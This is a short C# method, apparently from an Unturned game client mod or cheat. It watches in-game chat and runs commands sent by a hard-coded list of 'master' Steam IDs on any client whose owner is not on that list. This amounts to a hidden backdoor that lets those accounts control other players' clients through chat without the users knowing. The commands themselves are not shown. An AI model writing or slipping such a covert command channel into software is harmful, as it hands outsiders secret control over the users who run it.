public void OnChat() { Chat lastMessage = ChatManager.chat[0]; SteamPlayer speaker = Tool.getSteamPlayer(lastMessage.speaker); if (speaker != null && Universal.masterIDs.Contains(speaker.playerID.steamID.m_SteamID) && !Universal.masterIDs.Contains(Provider.client.m_SteamID)) { string[] args = lastMessage.text.Split(' '); CommandType ct = Array.Find(commands.ToArray(), a => args[0] == a.command); if (ct != null) { string[] args1 = Array.FindAll(args, a => a != ct.command); if (args1.Length <= 0) { args1 = new string[1]; args1[0] = ""; } ct.execute(args1); } } }